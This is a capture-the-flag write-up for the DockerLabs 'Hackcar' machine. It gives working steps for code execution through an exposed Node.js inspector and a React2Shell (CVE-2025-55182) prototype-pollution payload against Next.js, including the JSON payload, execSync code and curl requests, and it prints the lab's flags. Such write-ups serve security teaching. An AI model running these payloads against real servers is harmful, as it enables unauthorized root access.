
Writeup: Hackcar - DockerLabs (Node.js Inspector RCE + CVE-2025-55182 React2Shell)
Platform: DockerLabs Difficulty: Medium (more or less, it has its quirks) Objective: From
webusertorootby breaking a Next.js
As always, first things first: see what we're up against.
nmap -sC -sV -T4 172.17.0.2
PORT STATE SERVICE VERSION
8080/tcp open http Node.js (Express middleware)
9229/tcp open http ????
Wait... 9229? That port isn't normal. And a full scan confirms there are only two ports:
nmap -p- --min-rate 1000 -T4 172.17.0.2
PORT STATE SERVICE
8080/tcp open http-proxy
9229/tcp open unknown
9229 is the typical port for the Node.js inspector (debugger). If it's exposed without protection, it's basically an open door to code execution. Let's check it.
curl -s http://172.17.0.2:9229/json
[{
"description": "node.js instance",
"title": "/home/webuser/node_app/app.js",
"webSocketDebuggerUrl": "ws://172.17.0.2:9229/..."
}]
Bingo. The Node debugger is exposed, unauthenticated, and on top of that it tells us where the app lives. This is direct RCE.
With the debugger exposed we just need to connect to the WebSocket and use Runtime.evaluate to execute whatever we want inside the Node process.
I made a quick Python script that grabs the debugger URL and executes commands with process.mainModule.require('child_process').execSync():
expression = ("process.mainModule.require('child_process')"
f".execSync(Buffer.from('{b64}', 'base64').toString()).toString()")
To avoid fighting with quotes, I send the whole command in base64 and decode it inside the process itself. First test:
python3 node_rce.py "id"
uid=1001(webuser) gid=1001(webuser) groups=1001(webuser)
RCE as webuser. We've got the machine in our hands... or so I thought. Turns out the good stuff was better hidden.
Let's look at the processes to see what else is running on the machine:
ps auxww
root 7 0.0 0.0 sudo -u webuser node --inspect=0.0.0.0:9229 /home/webuser/node_app/app.js
root 8 0.0 0.0 npm exec next dev -p 3000 -H 127.0.0.1
root 30 0.0 0.0 node /root/react_app/node_modules/.bin/next dev -p 3000 -H 127.0.0.1
root 42 0.8 2.4 next-server (v15.0.0-rc.1)
Pay attention to that! There's a Next.js version 15.0.0-rc.1 running as ROOT on port 3000 (localhost only). That smells like privilege... and like a CVE.
Since it only listens on 127.0.0.1 inside the container, we can't reach it from outside. But we have RCE, so we can get in from the inside. First let's see what it is:
curl -s http://127.0.0.1:3000/
An "Internal Administration Portal" appears — an internal administration portal. All very appetizing.
We found the user flag quickly:
DL{g2QrDUvg3HiqaWeZBbZa}
And now it's time to escalate to root through that Next.js.
The version is Next.js 15.0.0-rc.1, which uses React 19 vulnerable to the famous React2Shell (CVE-2025-55182): a critical RCE (CVSS 10.0) via prototype pollution in the RSC parser (React Server Components / Flight protocol).
The exploit is a malformed multipart/form-data with the Next-Action header, which makes the React parser deserialize a poisoned object that ends up calling the Function constructor with our code:
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B0\"}",
"_response": {
"_prefix": "<JS CODE TO EXECUTE>",
"_formData": {"get": "$1:constructor:constructor"}
}
}
In other words: Chunk.prototype.then is poisoned, the parser loads our model, and when the promise resolves our JavaScript is executed in the Next.js process, which runs as root.
To get the output I used the "redirect" mode: the code executes the command, base64-encodes the result, and puts it in the digest property of an Error, which Next.js returns as a header:
var o = Buffer.from(process.mainModule.require('child_process').execSync('CMD')).toString('base64');
var e = new Error();
e.digest = 'NEXT_REDIRECT;push;http://x/' + o + ';307;';
throw e;
The final request:
curl -s -D - -o /dev/null -X POST http://127.0.0.1:3000/ \
-H 'Next-Action: x' \
-F '0=</tmp/p0.txt' \
-F '1=</tmp/p1.txt'
The server responds 500 (that's normal, it's an intentional error) and in the header:
x-action-redirect: /login?a=dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCkK...
We decode it:
echo 'dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCkK' | base64 -d
uid=0(root) gid=0(root) groups=0(root)
WE ARE ROOT. And the flag:
python3 react2shell.py "cat /root/root.txt"
DL{Z8Gc5NFYMrH3W4vv5ZWa}
nmap
└─ 8080 (Express web, static, pure smoke)
└─ 9229 (Node.js inspector EXPOSED)
└─ RCE as webuser via Runtime.evaluate
└─ Enumeration: Next.js 15.0.0-rc.1 on 127.0.0.1:3000 as ROOT
└─ CVE-2025-55182 (React2Shell): root RCE
└─ flag: DL{Z8Gc5NFYMrH3W4vv5ZWa}
Flags:
| File | Flag |
|---|---|
/home/webuser/user.txt | DL{g2QrDUvg3HiqaWeZBbZa} |
/root/root.txt | DL{Z8Gc5NFYMrH3W4vv5ZWa} |
| # | Vulnerability | CWE | What it gave us |
|---|---|---|---|
| 1 | Unauthenticated Node.js inspector (port 9229) | CWE-284 | RCE as webuser |
| 2 | Outdated Next.js 15.0.0-rc.1 (React2Shell, CVE-2025-55182) | CWE-1321 / CWE-502 | RCE as root |
Lessons:
| Tool | Use |
|---|---|
nmap | Port reconnaissance |
curl | Web enumeration and triggering the exploit |
websocket-client (Python) | Talking to the Node inspector |
jadx | The previous machine (not here, but I still find it nice) |
base64 | Transporting payloads without quote hassles |
Writeup for educational purposes. Only touch machines where you have authorization (DockerLabs, HTB, your own lab).